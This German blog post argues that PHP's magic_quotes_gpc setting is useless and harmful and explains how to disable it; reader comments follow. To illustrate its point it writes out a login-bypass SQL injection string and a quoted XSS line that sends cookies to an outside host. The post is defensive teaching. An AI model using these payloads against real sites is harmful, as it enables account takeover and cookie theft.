magic_quotes_gpc
Die Einstellung „magic_quotes_gpc On“ gehört in meinen Augen zu den sinnfreisten Einstellungen in PHP überhaupt, eine Art Hilfe für unfähige Programmierer auf Kosten von Performance, Datenkonsistenz (und Nerven von Administratoren… wenn ich mir anhören musste, wieso mein Server sowas nicht kann bzw. es standardmäßig nicht aktiviert ist).
Laut der PHP-Dokumentation, agiert die Einstellung wie folgt:
Legt die magic_quotes Einstellungen für GPC (Get/Post/Cookie) fest. Ist diese Einstellung auf on, werden alle ‘ (einzelne Anführungszeichen), ” (doppelte Anführungszeichen), \ (Backslash) und NUL’s automatisch mit einem Backslash geschützt.
(Dies ist so nicht ganz vollständig, denn neben GPC werden auch noch andere Variablenwerte mit Backslashes versehen, z. B. _FILES, _SESSION, etc.)
SQL-Injection
An sich klingt das auch erstmal nicht schlecht, denn so werden Daten, bevor Sie z. B. in eine Datenbank geschrieben werden, escaped, sodass sie keinen Schaden anrichten können. Ein MySQL-Abfrage für einen Login könnte so aussehen:
SELECT COUNT(*) FROM benutzer WHERE benutzername = '$benutzername' AND kennwort = '$kennwort'
Ohne das Escapen des Strings $benutzername (oder einer anderweitigen Überprüfung), könnte man sich einen Login durch die Eingabe des Benutzernamens ' OR benutzername != '' LIMIT 1 -- erschleichen, denn dann würde die Abfrage wie folgt aussehen:
SELECT COUNT(*) FROM benutzer WHERE benutzername = '' OR benutzername != '' LIMIT 1 --' AND kennwort = '$kennwort'
Es ist nur ein vereinfachtes Beispiel, jedoch bestimmt in vielfacher Ausführung so im Internet zu finden. Es soll aus der MySQL-Tabelle benutzer die Gesamtzahl der Zeilen ausgegeben werden, auf die zutrifft: benutzername ist gleich einem leeren String oder benutzername ist ungleich einem leeren String. Diese Bedingung trifft somit auf alle Datensätze zu. Durch das LIMIT wird die Anzahl der gefundenen Datensätze auf 1 beschränkt. Sämtliche weiteren Zeichen der Abfrage werden nicht mehr berücksichtigt, da -- einen Kommentar einleitet. Glückwunsch, wir haben eine SQL-Injection. Natürlich könnte noch mehr schaden angerichtet werden, wenn z. B. mit einem neuen angehängtem Befehl (nach LIMIT 1 einfach ein Semikolon setzen und neuen Befehl beginnen) wie TRUNCATE, der Tabellen leert.
Natürlich gibt es nicht nur SQL-Injections, sondern beispielsweise auch im HTML und Javascript, sogenanntes Cross-Site-Scripting oder kurz: XSS. Ein Beispiel aus der Wikipedia, das Cookies einer Seite per Javascript auf eine andere Seite übermittelt:
<script>(new Image).src = "http://www.boeserechner.de/s/c.php?c=" + escape(document.cookie);</script>
Vorbeugen
Niemand möchte, dass seine sensiblen Daten solchen Angriffen ausgeliefert sind, doch die Lösung des Problems ist einfach: keine Eingaben von Nutzern ungeprüft übernehmen! Die Strings des Benutzernamens und des Kennworts sollten überprüft und für die Datenbankabfrage korrigiert werden (im Beispiel: Backslash vor '), sodass aus der o. g. MySQL-Abfrage folgende wird:
SELECT COUNT(*) FROM benutzer WHERE benutzername = '\' OR benutzername != \'\' LIMIT 1 --' AND kennwort = '$kennwort'
Da kein solcher Benutzer (Benutzername kursiv dargestellt) existiert, schlägt der Login korrekterweise fehl.
Und was ist an magic_quotes_gpc schlecht?
Die Einstellung bewirkt in PHP, dass fast sämtliche eingelesenen Variablenwerte, automatisch an die Funktion addslashes() übergeben werden. Obwohl dies nicht zwingend notwendig ist. Wenn zum Beispiel im Query-String einer URL ein Parameter der numerischen Seiten-ID übergeben werden soll (index.php?seite=15), dann ist es sinnvoll, diese im Skript auf Plausibilität zu überprüfen, also in diesem Fall, ob tatsächlich ein numerischer Wert übergeben wurde; falls nicht, wäre eine Datenbankabfrage überflüssig. Trotzdem wurde der Wert der Variable seite schon auf eine mögliche Datenbank-Abfrage vorbereitet – verschwendete Resourcen.
Ein anderes Beispiel ist die Ausgabe in HTML. Bei einem Login-Formular wird dem Benutzer nach einem fehlgeschlagenen Login die Fehlermeldung und das Login-Formular erneut angezeigt; dieses erhällt bereits vorausgefüllt den Benutzernamen, der zuvor übermittelt wurde. Ein einfaches Textfeld sieht in HTML so aus:
<input type="text" name="benutzername" value="">
Man erkennt, dass die Eingabe eines doppelten Anführungszeichen " im Parameter value dafür sorgt, dass dieser vorzeitig beendet wird. Beim fehlerhaften Login mit einem Benutzername abc"def sieht dann so aus:
<input type="text" name="benutzername" value="abc"def">
Die Funktion addslashes, die automatisch angewendet wird, macht aus diesem Benutzernamen ein abc\"def – herrlich sinnfrei für diesen Verwendungszweck, denn somit lautet der dem Benutzer angezeigt Benutzername abc\ (der Rest ist wieder nur im Quelltext sichtbar). Selbst mit der für die HTML-Ausgabe sinnvollen Funktion htmlentities() würde der ausgegebene Benutzername nicht mehr der Eingabe entsprechen.
<input type="text" name="benutzername" value="abc\"def">
Dummerweise wird somit übrigens bei jedem weiteren Abschicken des Formulars der String um einen weiteren Backslash vor dem verbotenen Zeichen ergänzt.
Wirkliche Lösung
Ich fasse es noch einmal zusammen: Die aktivierte Einstellung magic_quotes_gpc führt für alle GPC-Variablen automatisch die Funktion addslashes() aus, ohne dass dies in jedem Fall notwendig ist. Häufig muss dies sogar (wie im letzten Beispiel der HTML-Ausgabe rückgängig gemacht werden).
Die sinnvollste Lösung ist deshalb das Nicht-Verwenden und Abschalten der Funktion. Ein Programmierer sollte wissen, welche Daten er wie überprüfen muss, um diese beispielsweise in eine Datenbank zu speichern. Die PHP-Dokumentation empfiehlt sogar ausdrücklich bei PostgreSQL das Verwenden der Funktion pg_escape_string() anstelle von addslashes() – und auch für Datenbanken wie MySQL, DB2 gibt es ähnliche spezielle Funktionen. Und dass addslahes() nicht vor SQL-Injections schützt, kann man bei Chris Shifflet nachlesen.
- Falls man Zugriff auf die php.ini hat, sollte man dort
magic_quotes_gpc = Offsetzen. - Im Bereich Shared-Webhosting hat man keinen Zugriff auf die php.ini, jedoch bieten einige Webhoster die Möglichkeit, diese und andere Optionen über das Kontrollpanel zu (de)aktivieren.
- Für den Fall, dass PHP als Modul läuft, kann versucht werden in der Datei .htaccess folgenden Code in eine neue Zeile einzufügen
php_flag magic_quotes_gpc off. - Sollten die vorherigen globalen Einstellungen nicht funktionieren, kann mit dem Aufruf
ini_set("magic_quotes_gpc", 0);die Einstellung deaktiviert werden. Dies ist jedoch in jedem Skript nötig. Außerdem wird die Funktionini_setnicht bei jedem Webhoster unterstützt.
Die Notlösung
Sollten alle oben genannten Lösungen nicht funktionieren bleibt immer noch die Möglichkeit, die Änderungen rückgängig zu machen; hierzu wurde ein Beispiel in den Kommentaren der PHP-Dokumentation veröffentlich. Hierbei ist aber zu beachten, dass ohne weitere Überprüfungen auf alle Variablen, auf die zuvor addslashes() angewendet wurde, stripslashes() angewendet wird, was sich wieder negativ auf die Resourcen niederschlägt.
Joomla & Co.
Skripte wie Joomla mahnen deaktivierte magic_quotes-Einstellungen als mangelhafte Sicherheitseinstellungen an („PHP Server Settings are not optimal for Security“) an. Bei Joomla dient diese Einstellung nach eigenen Aussagen für „schlecht geschriebene Erweiterungen“. Ich findes es interessant, dass die „PHP Server Einstellungen“ als nicht optimal für die Sicherheit bezeichnet werden, wenn doch eigentlich gemeint ist „PHP Server Settings are not optimal for some of our poorly written Extensions“.
In PHP 6 ist übrigens geplant, Einstellungen wie magic_quotes_gpc engültig abzuschaffen, da sie überholt und fehlerhaft sind und eine falsche Sicherheit vorgeben.
[...] Baumer hat die Problematik von magic_quotes_gpc ziemlich gut [...]
[...] gebe Yoschi Recht, Markus Baumer hat die Problematik und mögliche Lösungen für die PHP-Option magic_quotes_gpc gut und verständlich erklärt! Außerdem finde ich, dass sein Blog-Design sehr ansprechend ist! [...]
Super Post, macht immer Spass hier mitzulesen